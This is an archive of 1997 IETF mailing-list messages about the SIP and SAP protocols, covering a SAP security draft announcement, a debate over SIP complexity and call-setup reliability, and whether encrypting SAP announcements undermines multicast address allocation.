Received: from ietf.ietf.org by ietf.org id aa08231; 30 Jul 97 9:39 EDT
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce@ietf.org
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-To: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sap-sec-01.txt
Date: Wed, 30 Jul 1997 09:39:21 -0400
Message-Id:  <9707300939.aa08231@ietf.org>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart

 A Revised Internet-Draft is available from the on-line Internet-Drafts 
 directories. This draft is a work item of the Multiparty Multimedia 
 Session Control Working Group of the IETF.                                

       Title     : Specification of Security in 
                   SAP Using Public Key Algorithms                                              
       Author(s) : P. Kirstein, G. Montasser-Kohsari, E. Whelan
       Filename  : draft-ietf-mmusic-sap-sec-01.txt
       Pages     : 16
       Date      : 07/29/1997

The Session Announcement Protocol (SAP) has been specified in such a way 
that authentication and privacy can be assured. However the algorithms and 
mechanisms to achieve such security are not prescribed in the current 
draft. This document extends the SAP protocol, by describing specific 
algorithms and formats of authentication and encryption formats based on 
the DES, PGP and PKCS#7 standards. It is a companion document to 
draft-ietf-mmusic-sap.                       
                             
This document is a product of the Multiparty Multimedia Session Control 
(MMUSIC) working group of the Internet Engineering Task Force Comments are 
solicited and should be addressed to the working group's mailing list at 
confctrl@isi.edu and/or the authors.                                       

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-ietf-mmusic-sap-sec-01.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sap-sec-01.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa:  ftp.is.co.za                    
	                                                
     o  Europe:  ftp.nordu.net            	
                 ftp.nis.garr.it                 
	                                                
     o  Pacific Rim: munnari.oz.au               
	                                                
     o  US East Coast: ds.internic.net           
	                                                
     o  US West Coast: ftp.isi.edu               
	                                                
Internet-Drafts are also available by mail.	
	                                                
Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-ietf-mmusic-sap-sec-01.txt".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19970729172319.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sap-sec-01.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-ietf-mmusic-sap-sec-01.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19970729172319.I-D@ietf.org>

--OtherAccess--

--NextPart--


From majordom@ISI.EDU  Thu Jul 31 05:17:36 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04998>; Thu, 31 Jul 1997 06:22:11 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04992>; Thu, 31 Jul 1997 06:22:10 -0700
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id GAA02551;
	Thu, 31 Jul 1997 06:22:07 -0700 (PDT)
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Thu Jul 31 09:20:45 EDT 1997
Received: from sea.dnrc.bell-labs.com ([135.180.144.10]) by research; Thu Jul 31 09:20:47 EDT 1997
Received: from sea (localhost [127.0.0.1]) by sea.dnrc.bell-labs.com (8.7.5/8.7.3) with SMTP id JAA00137; Thu, 31 Jul 1997 09:17:37 -0400 (EDT)
Message-Id: <33E09070.67F7@cs.columbia.edu>
Date: Thu, 31 Jul 1997 09:17:36 -0400
From: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Eve Schooler <schooler@cs.caltech.edu>, Mark Handley <mjh@ISI.EDU>
Cc: confctrl@ISI.EDU
Subject: SIP URL idea
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Suggestion: Following the lead of

ftp://ietf.org/internet-drafts/draft-hoffman-mailto-url-01.txt,

I'd like to add the ability to include SIP headers in the SIP URL, as in

<a href="sip://info@ietf.org?subject=Munich%20Meeting">Call now for
reservations</a>

Any objections?

Henning

From majordom@ISI.EDU  Fri Aug  1 14:46:20 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25501>; Fri, 1 Aug 1997 05:48:45 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25495>; Fri, 1 Aug 1997 05:48:44 -0700
Received: from dent.axion.bt.co.uk (dent.axion.bt.co.uk [132.146.16.161])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id FAA12698;
	Fri, 1 Aug 1997 05:48:39 -0700 (PDT)
Received: from rambo.futures.bt.co.uk by dent.axion.bt.co.uk with SMTP (PP); Fri, 1 Aug 1997 13:47:38 +0100
Received: from mussel.futures.bt.co.uk by rambo with SMTP (PP); Fri, 1 Aug 1997 13:50:41 +0100
Received: by mussel.futures.bt.co.uk with Microsoft Exchange (IMC 4.0.837.3) id <01BC9E80.9D9D1050@mussel.futures.bt.co.uk>;
          Fri, 1 Aug 1997 13:41:29 +0100
Message-Id: <c=GB%a=_%p=BT%l=NORMAN-970801124620Z-8782@mussel.futures.bt.co.uk>
From: Pete Cordell <pete.cordell@bt-sys.bt.co.uk>
To: "'Mark Handley'" <mjh@ISI.EDU>, "'confctrl@isi.edu'" <confctrl@ISI.EDU>,
        "'hgs@cs.columbia.edu'" <hgs@cs.columbia.edu>,
        "'schooler@cs.caltech.edu'" <schooler@cs.caltech.edu>
Cc: "'ietf-coord'" <ietf-coord@gideon.bt.co.uk>,
        Mark Courtenay <mark.courtenay@bt-sys.bt.co.uk>
Subject: Re: SIP reliability
Date: Fri, 1 Aug 1997 13:46:20 +0100
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.837.3
Encoding: 105 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I'm alarmed at the ever increasing size of SIP.  My original
understanding of what SIP was intended to do was in invite users to
sessions as an adjunct to SDP.  Even if this is not its sole purpose, it
serves a very useful function in this role.  As SDP is elegantly simple,
SIP should be also.  The recently proposed changes seem to be moving
away from this.  

If you bear with me I'll explain why I think the functionality you
desire can be achieved using much simpler signalling (Maybe you'll only
get 80% of the signalling options, but that will be achieved with 20% of
the coding effort).  

SIP, to me, fills the need for a directed SDP announcement, i.e. person
x can explicitly invite person y to an SDP style session.  In the
limiting case y might not be in the session because there was never an
SDP announcement (i.e. its a point-to-point call).  Alternatively x
might be trying to get y's advice while in a previously announced
conference.

Therefore, the important aspect of SIP should be the reliable delivery
of an SDP announcement to y.  

The basic stages in just about all call invitation protocols are:

make call	- equivalent to INVITE in SIP
ringing		- equivalent to 150 Ringing in SIP
user connected	- equivalent to 200 OK in SIP

Where SIP seems to be having problems is in getting the 200 OK response
back to the caller in a reliable way after a long ringing delay.  The
confirm field breaks the attractive HTTP model, and its optional status
makes predicting the outcome of various scenarios difficult.  

However, on a connectionless network we can make use of media arrival to
signal user connected.  I guess you will have discussed this, but I have
thought it through and can see no problems with the principle.  Perhaps
I've had some beginner's luck that has enabled me to see some things
that the experts have missed, so bear with me a while.

So: I suggest changing the 200 OK reason to mean invitation delivered
rather than connected.  This makes the initial transaction simple.  It
is easy to make reliable on UDP, and it is stateless.  All the redirects
can still apply (although a simple implementation could decide to cave
at that point), as can the negotiations.

The connected status can be indicated using RTP as follows:

The sending terminal can start sending RTP/RTCP packets as soon as the
200 OK response (invitation delivered) is received (if it is not already
doing so as part of an on going session).  (If no others are in the
call, it probably just wants to send RTCP.  This would be equivalent to
silence suppression when no RTP packets are sent.)  Likewise the
receiving terminal can subscribe to the multicast group straight away
and pull in the RTCP messages.

When the receiving terminal connects it can also start sending RTP/RTCP.
 The sending terminal can use the reception of media from the receiving
terminal to un-mute its local media sources and send RTP media on to the
network (if it is not already doing so).

If the sending terminal hangs up before the call is answered, then RTCP
will send a BYE packet.  The receiving terminal can use this to
disconnect.  In the, hopefully rare, situation that the BYE packet gets
lost, the receiving terminal can timeout in the usual way an RTP session
is ended (the remote user may also intervene to close the session).

The receiving terminal can implement do not disturb functionality by
replying with the existing 450/451 failure code to the initial
invitation.  

All the user location stuff can be used as before to deliver the initial
invitation.

This scheme is very light-weight and fits well with SDP.  It also offers
significant value when used by itself.  It's highly flexible and allows
many user location features to be used.  It exploits IP features rather
than copying connection-oriented setup protocols.  Therefore I propose
that SIP be streamlined to confirm to the call setup model described
above.

Any comments welcome,

Pete


=================================
Pete Cordell
BT Labs
E-Mail: pete.cordell@bt-sys.bt.co.uk
Tel: +44 1473 646436
Fax: +44 1473 643791
-------------------------------------------------------------
Notice:  This contribution is the personal view of the author and 
does not necessarily reflect the technical nor commercial direction 
of British telecommunications plc.
=================================

=================================
Pete Cordell
BT Labs
E-Mail: pete.cordell@bt-sys.bt.co.uk
Tel: +44 1473 646436
Fax: +44 1473 643791
=================================


From majordom@ISI.EDU  Fri Aug  1 05:07:56 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25945>; Fri, 1 Aug 1997 06:12:39 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA25933>; Fri, 1 Aug 1997 06:12:38 -0700
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id GAA13104
	for <confctrl@isi.edu>; Fri, 1 Aug 1997 06:12:37 -0700 (PDT)
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Fri Aug  1 09:11:13 EDT 1997
Received: from sea.dnrc.bell-labs.com ([135.180.144.10]) by research; Fri Aug  1 09:11:16 EDT 1997
Received: from sea (localhost [127.0.0.1]) by sea.dnrc.bell-labs.com (8.7.5/8.7.3) with SMTP id JAA17648; Fri, 1 Aug 1997 09:07:56 -0400 (EDT)
Message-Id: <33E1DFAC.7CB3@cs.columbia.edu>
Date: Fri, 01 Aug 1997 09:07:56 -0400
From: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Pete Cordell <pete.cordell@bt-sys.bt.co.uk>
Cc: Mark Handley <mjh@ISI.EDU>, "confctrl@isi.edu" <confctrl@ISI.EDU>,
        "schooler@cs.caltech.edu" <schooler@cs.caltech.edu>,
        "'ietf-coord'" <ietf-coord@gideon.bt.co.uk>,
        Mark Courtenay <mark.courtenay@bt-sys.bt.co.uk>
Subject: Re: SIP reliability
References: <c=GB%a=_%p=BT%l=NORMAN-970801124620Z-8782@mussel.futures.bt.co.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

While I share your desire for simplicity, I disagree on a number of
assumptions you make:

- SIP can be used for sessions which are not carried over RTP, including
stand-alone applications using proprietary data protocols.

- SIP implementations in many cases (including the two on-going
implementations that I'm aware of) do not have direct access to RTCP, so
this would impose on media agents which know nothing of SIP (and
shouldn't) the burden of somehow communicating to the SIP agent that
they are getting RTCP packets.

The idea of using RTCP to indicate "connectivity" you propose would, as
far as I can tell, not significantly simplify SIP. It would remove the
CONNECTED message; that's it. 

Even making the assumption that RTCP BYE can be used to signal end of
call (dubious, due to lack of RTCP BYE reliability - RTCP BYE is sent
once): Note that the SIP BYE message cannot be replaced as you
described, since, in a unicast call, the calling side doesn't yet know
where to send the data, as the callee has to indicate port number and
destination address in its 200 response. 


Henning

From majordom@ISI.EDU  Fri Aug  1 06:03:12 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26835>; Fri, 1 Aug 1997 07:04:32 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA26829>; Fri, 1 Aug 1997 07:04:31 -0700
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id HAA14018
	for <confctrl@ISI.EDU>; Fri, 1 Aug 1997 07:04:30 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id KAA21456; Fri, 1 Aug 1997 10:03:12 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Pete Cordell <pete.cordell@bt-sys.bt.co.uk>
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: SIP reliability 
In-Reply-To: Your message of "Fri, 01 Aug 1997 13:46:20 BST."
             <c=GB%a=_%p=BT%l=NORMAN-970801124620Z-8782@mussel.futures.bt.co.uk> 
Date: Fri, 01 Aug 1997 10:03:12 -0400
Message-Id: <21454.870444192@north.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>I'm alarmed at the ever increasing size of SIP.

One of my aims has always been to keep SIP simple.  We sacrificed some
of that simplicity by allowing both TCP and UDP, but this seemed to
all concerned to be what people want, and I still believe this was a
good decision.

Beyond that, the HTTP-style format permits many header fields which
increase the length of the document and many response codes.  This
makes SIP appear very complex, but also all of this functionality is
only detail-enhancement.  You can write a legal and reasonably
performing SIP implementation with minimal header fields and only pay
attention to the response category rather than the actual code.  We
gained one compulsory method (CONNECTED) this time round, but it
actually simplifies things because it does away with the SIPv1
confirmation mechanism.  When you strip away all the frills, my sdr
implementation of SIPv2 over UDP is not significantly more complex
than the SIPv1 implementation - just better specified!

The only necessary extension is the UDP/TCP one, and I'd rather not
stir that discussion up again.

But it seems that what we should do is write a short appendix making
it clear what a minimum useful and legal implementation would consist
of.  It's not always easy to extract this information from the rest of
the spec.

Mark

From majordom@ISI.EDU  Fri Aug  1 17:11:18 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA28801>; Fri, 1 Aug 1997 08:18:04 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA28795>; Fri, 1 Aug 1997 08:18:03 -0700
Received: from dent.axion.bt.co.uk (dent.axion.bt.co.uk [132.146.16.161])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id IAA15914
	for <confctrl@ISI.EDU>; Fri, 1 Aug 1997 08:18:02 -0700 (PDT)
Received: from rambo.futures.bt.co.uk by dent.axion.bt.co.uk with SMTP (PP); Fri, 1 Aug 1997 16:13:02 +0100
Received: from mussel.futures.bt.co.uk by rambo with SMTP (PP); Fri, 1 Aug 1997 16:15:33 +0100
Received: by mussel.futures.bt.co.uk with Microsoft Exchange (IMC 4.0.837.3) id <01BC9E94.DAFDDD30@mussel.futures.bt.co.uk>;
          Fri, 1 Aug 1997 16:06:22 +0100
Message-Id: <c=GB%a=_%p=BT%l=NORMAN-970801151118Z-8856@mussel.futures.bt.co.uk>
From: Pete Cordell <pete.cordell@bt-sys.bt.co.uk>
To: "'Mark Handley'" <mjh@north.east.isi.edu>,
        "'hgs@cs.columbia.edu'" <hgs@cs.columbia.edu>
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>,
        "'ietf-coord'" <ietf-coord@gideon.bt.co.uk>,
        Mark Courtenay <mark.courtenay@bt-sys.bt.co.uk>
Subject: RE: SIP reliability
Date: Fri, 1 Aug 1997 16:11:18 +0100
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.837.3
Encoding: 50 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Henning and Mark,

Wow, I thought you guys would still be asleep!!!

Henning, It's interesting that you say that RTCP is useless for
membership control.  I must have been talking to the wrong people! 
Although you say there are other non-RTP protocols that are being used,
I think that the principles could be applied to other non-RTP payloads.
I also don't think that SIP really needs to know when remote parties are
connected.  I thought SIP's job was to get in, do the inviting and get
out.  The rest is up to the media agents themselves.  If they don't
report into some central authority that's fine.  All I'm advocating is
that the original session termination mechanism be used to end an
aborted session.

Mark, I'm comforted by the fact that you say SIP is no more complicated
than it ever was.  However, I look at the weight of paper and think
'complex', or at least more complex than before.  I'm also wary of
protocols that have minimal implementations with lots of optional
features.  In terms of using the protocol in anything other the original
test scenarios the various combinatorial relationships of various levels
of support become very difficult to work out.  In the long run its
probably better to make the whole lot mandatory.

I guess my gut feeling is that the feature creep is not complete.  BYE
has been added (I infer) and then what else?  It just seems the
beginning of a slippery slope.

What IP is really good for (among other things) is large multicast
sessions.  SDP covers off most of this well, and I guess RTSP will soon
be operating in this space.  What these two don't allow is getting a
specific person into a conference.  I would like to see something that
was light and did this really well, wrapping up the whole area nicely. 
If SIP is not the thing for that, perhaps something should be developed.

Thanks for your comments anyway,

Pete
=================================
Pete Cordell
BT Labs
E-Mail: pete.cordell@bt-sys.bt.co.uk
Tel: +44 1473 646436
Fax: +44 1473 643791
-------------------------------------------------------------
Notice:  This contribution is the personal view of the author and 
does not necessarily reflect the technical nor commercial direction 
of British Telecommunications plc.
=================================


From majordom@ISI.EDU  Fri Aug  1 11:51:11 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17436>; Fri, 1 Aug 1997 12:51:48 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA17430>; Fri, 1 Aug 1997 12:51:47 -0700
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id MAA27499
	for <confctrl@isi.edu>; Fri, 1 Aug 1997 12:51:46 -0700 (PDT)
Received: from East.Sun.COM ([129.148.1.241]) by mercury.Sun.COM (SMI-8.6/mail.byaddr) with SMTP id MAA08695 for <confctrl@isi.edu>; Fri, 1 Aug 1997 12:51:15 -0700
Received: from suneast.East.Sun.COM by East.Sun.COM (SMI-8.6/SMI-5.3)
	id PAA09502; Fri, 1 Aug 1997 15:51:13 -0400
Received: from bcn.East.Sun.COM by suneast.East.Sun.COM (SMI-8.6/SMI-SVR4)
	id PAA18226; Fri, 1 Aug 1997 15:51:13 -0400
Received: from pine by bcn.East.Sun.COM (SMI-8.6/SMI-SVR4)
	id PAA14254; Fri, 1 Aug 1997 15:51:10 -0400
Date: Fri, 1 Aug 1997 15:51:11 -0400 (EDT)
From: Steve Hanna <shanna@bcn.East.Sun.COM>
Reply-To: Steve Hanna <shanna@bcn.East.Sun.COM>
Subject: Encrypted SAP packets
To: confctrl@ISI.EDU
Cc: miriam.kadansky@Sun.COM
Message-Id: <libSDtMail.9708011551.22934.shanna@bcn>
Mime-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-Md5: QobFWoBXJ+OMOXCWOKNMww==
X-Mailer: dtmail 1.1.0 CDE Version 1.1_59 SunOS 5.5.1 sun4u sparc 
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The new draft on SAP security (draft-ietf-mmusic-sap-sec-01.txt) raised the 
following question for me.

If the announcement for a particular session is encrypted, how will others (who 
can't decode the announcement) know that they shouldn't use the multicast 
address during that period? In other words, isn't the address allocation feature 
of SAP negated by encrypting session announcements?

Should we recommend that an additional unencrypted session announcement with 
minimal information other than the multicast address be sent as well? I suppose 
that this applies to the basic SAP draft as well, if its encryption features are 
used.

I probably won't be able to access email starting about an hour from now and 
running until after IETF. My colleague, Miriam Kadansky, will monitor any 
responses in my absence.

Steve Hanna
Sun Microsystems, Inc.


From majordom@ISI.EDU  Fri Aug  1 15:31:22 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04036>; Fri, 1 Aug 1997 17:28:42 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04030>; Fri, 1 Aug 1997 17:28:41 -0700
Received: from mailrelay.tiac.net (mailrelay.tiac.net [199.0.65.237])
	by tnt.isi.edu (8.8.6/8.8.6) with ESMTP id RAA08728
	for <confctrl@isi.edu>; Fri, 1 Aug 1997 17:28:40 -0700 (PDT)
Received: from ddoug.tiac.net (p10.ts1.white.NY.tiac.com [207.60.148.139])
	by mailrelay.tiac.net (8.8.5/) with ESMTP id UAA10290
	for <confctrl@isi.edu>; Fri, 1 Aug 1997 20:30:09 -0400 (EDT)
Message-Id: <199708020030.UAA10290@mailrelay.tiac.net>
From: "Duane Douglas" <ddoug@tiac.net>
To: <confctrl@ISI.EDU>
Subject: Streaming Audio Using Java
Date: Fri, 1 Aug 1997 20:31:22 -0500
X-Msmail-Priority: Normal
X-Priority: 3
X-Mailer: Microsoft Internet Mail 4.70.1161
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hello,

I'm interested in implementing Java to deliver streaming audio over the
World Wide Web.  How do you suggest that I go about learning how to do
this?

Thanks in advance

--Duane


From majordom@ISI.EDU  Sun Aug  3 07:49:02 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02641>; Sun, 3 Aug 1997 08:49:14 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02635>; Sun, 3 Aug 1997 08:49:12 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.6/8.8.6) with ESMTP id IAA08293;
	Sun, 3 Aug 1997 08:49:05 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id LAA21226; Sun, 3 Aug 1997 11:49:04 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id LAA11396; Sun, 3 Aug 1997 11:49:03 -0400 (EDT)
Message-Id: <33E4A86E.7D31@cs.columbia.edu>
Date: Sun, 03 Aug 1997 11:49:02 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.02 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Mark Handley <mjh@ISI.EDU>, Eve Schooler <schooler@cs.caltech.edu>
Cc: confctrl@ISI.EDU
Subject: Minimal SIP implementation
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Motivated by Mark's excellent suggestion, I have put together an
appendix to the current draft outlining minimal SIP server and client
implementations, as well as specifying some additional classes of
functionality 

Since IETF hasn't picked up the draft, it's still in the -03 draft,
accessible through http://www.cs.columbia.edu/~hgs/sip

Comments are appreciated.

Henning

From majordom@ISI.EDU  Mon Aug  4 09:57:59 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18567>; Mon, 4 Aug 1997 01:01:00 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA18561>; Mon, 4 Aug 1997 01:00:58 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-27)
	id <AA28718>; Mon, 4 Aug 1997 01:00:56 -0700
Message-Id: <199708040800.AA28718@quark.isi.edu>
Received: from apollo.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.04119-0@bells.cs.ucl.ac.uk>; Mon, 4 Aug 1997 09:00:27 +0100
X-Sender: Kirstein@cs.ucl.ac.uk
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Mon, 04 Aug 1997 08:57:59 +0100
To: Steve Hanna <shanna@bcn.east.sun.com>
From: "Peter T. Kirstein" <P.Kirstein@cs.ucl.ac.uk>
Subject: Re: Encrypted SAP packets
Cc: miriam.kadansky@Sun.COM, confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 15:51 01/08/97 -0400, Steve Hanna wrote:
>The new draft on SAP security (draft-ietf-mmusic-sap-sec-01.txt) raised the 
>following question for me.
>
>If the announcement for a particular session is encrypted, how will others
(who 
>can't decode the announcement) know that they shouldn't use the multicast 
>address during that period? In other words, isn't the address allocation
feature 
>of SAP negated by encrypting session announcements?
>
>Should we recommend that an additional unencrypted session announcement with 
>minimal information other than the multicast address be sent as well? I
suppose 
>that this applies to the basic SAP draft as well, if its encryption
features are 
>used.

I agree this is a problem. I think this is better addressed in the basic SAP
draft, and that some of this information might be repeated outside the part
which will be encrypted. There is a question which worries many on how much
information about the multicast address and the times it is used should be
given; this encourages concerted hacking attempts, of course.
>
>I probably won't be able to access email starting about an hour from now and 
>running until after IETF. My colleague, Miriam Kadansky, will monitor any 
>responses in my absence.
>
>Steve Hanna
>Sun Microsystems, Inc.
>
>


From majordom@ISI.EDU  Sun Aug  3 19:56:05 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19909>; Mon, 4 Aug 1997 02:56:04 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19903>; Mon, 4 Aug 1997 02:56:03 -0700
Received: from mail4.microsoft.com (mail4.microsoft.com [131.107.3.29])
	by tnt.isi.edu (8.8.6/8.8.6) with ESMTP id CAA22831
	for <confctrl@isi.edu>; Mon, 4 Aug 1997 02:56:03 -0700 (PDT)
Received: by mail4.microsoft.com with Internet Mail Service (5.0.1458.49)
	id <QHQK3WPS>; Mon, 4 Aug 1997 02:56:30 -0700
Message-Id: <7D06B4AA8B39D011A64900805F682CDA020E4116@RED-09-MSG.dns.microsoft.com>
From: Arlie Davis <arlied@microsoft.com>
To: "'Peter T. Kirstein'" <P.Kirstein@cs.ucl.ac.uk>
Cc: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: Encrypted SAP packets
Date: Mon, 4 Aug 1997 02:56:05 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.49)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



> -----Original Message-----
> From:	Peter T. Kirstein [SMTP:P.Kirstein@cs.ucl.ac.uk]
> Sent:	Monday, August 04, 1997 12:58 AM
> To:	Steve Hanna
> Cc:	miriam.kadansky@Sun.COM; confctrl@ISI.EDU
> Subject:	Re: Encrypted SAP packets
> 
> I agree this is a problem. I think this is better addressed in the
> basic SAP
> draft, and that some of this information might be repeated outside the
> part
> which will be encrypted. There is a question which worries many on how
> much
> information about the multicast address and the times it is used
> should be
> given; this encourages concerted hacking attempts, of course.
> 
Learning the multicast address from an SDP description is no different
than learning it from watching what comes down a pipe.  The only
interesting information in the encrypted SDP header would be the address
of the machine originating the session announcement; this can be learned
from watching what is being transmitted, anyway.

If your application can't stand up to "concerted hacking attempts," why
bother transmitting to begin with?  Why else do we even bother
encrypting traffic?

-- arlie

From majordom@ISI.EDU  Mon Aug  4 14:42:03 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21714>; Mon, 4 Aug 1997 05:42:24 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21705>; Mon, 4 Aug 1997 05:42:22 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-27)
	id <AA00855>; Mon, 4 Aug 1997 05:42:19 -0700
Received: from topcat.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.17382-0@bells.cs.ucl.ac.uk>; Mon, 4 Aug 1997 13:42:02 +0100
To: Arlie Davis <arlied@microsoft.com>
Cc: "'Peter T. Kirstein'" <P.Kirstein@cs.ucl.ac.uk>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>, P.Kirstein@cs.ucl.ac.uk
Subject: Re: Encrypted SAP packets
In-Reply-To: Your message of "Mon, 04 Aug 1997 02:56:05 PDT." <7D06B4AA8B39D011A64900805F682CDA020E4116@RED-09-MSG.dns.microsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Id: <1589.870698519.1@cs.ucl.ac.uk>
Date: Mon, 04 Aug 1997 13:42:03 +0100
Message-Id: <1599.870698523@cs.ucl.ac.uk>
From: Peter KIRSTEIN <P.Kirstein@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

In message <7D06B4AA8B39D011A64900805F682CDA020E4116@RED-09-MSG.dns.microsoft.c
om>you write:
>
>
>> -----Original Message-----
>> From:	Peter T. Kirstein [SMTP:P.Kirstein@cs.ucl.ac.uk]
>> Sent:	Monday, August 04, 1997 12:58 AM
>> To:	Steve Hanna
>> Cc:	miriam.kadansky@Sun.COM; confctrl@ISI.EDU
>> Subject:	Re: Encrypted SAP packets
>> 
>> I agree this is a problem. I think this is better addressed in the
>> basic SAP
>> draft, and that some of this information might be repeated outside the
>> part
>> which will be encrypted. There is a question which worries many on how
>> much
>> information about the multicast address and the times it is used
>> should be
>> given; this encourages concerted hacking attempts, of course.
